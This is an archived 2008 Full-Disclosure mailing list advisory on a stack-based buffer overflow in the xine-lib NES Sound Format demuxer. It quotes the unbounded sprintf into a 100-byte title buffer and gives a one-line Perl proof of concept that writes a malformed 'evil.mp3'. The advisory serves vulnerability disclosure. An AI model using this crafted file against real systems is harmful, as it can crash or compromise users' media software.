full-disclosure - xine-lib NSF demuxer buffer overflow

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <48069A38.9050101@keamera.org>
Date: Thu, 17 Apr 2008 02:30:48 +0200
From: Guido Landi <lists@...mera.org>
To: full-disclosure@...ts.grok.org.uk
Subject: xine-lib NSF demuxer buffer overflow

xine-lib <= 1.1.12 is prone to a stack-based buffer overflow in the NES 
Sound Format demuxer(demux_nsf.c).

- Code

open_nsf_file():

109: this->title = strdup(&header[0x0E]);

demux_nsf_send_chunk():

122: char title[100];
162: sprintf(title, "%s, song %d/%d",
            this->title, this->current_song, this->total_songs);

- Affected applications

http://xinehq.de/index.php/releases

- PoC

perl -e 'print 
"\x4E\x45\x53\x4D\x1A\x01\x01\x01\x80\x80\x18\x8A\x03\x8A" . "\x41" x 
114' > evil.mp3

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/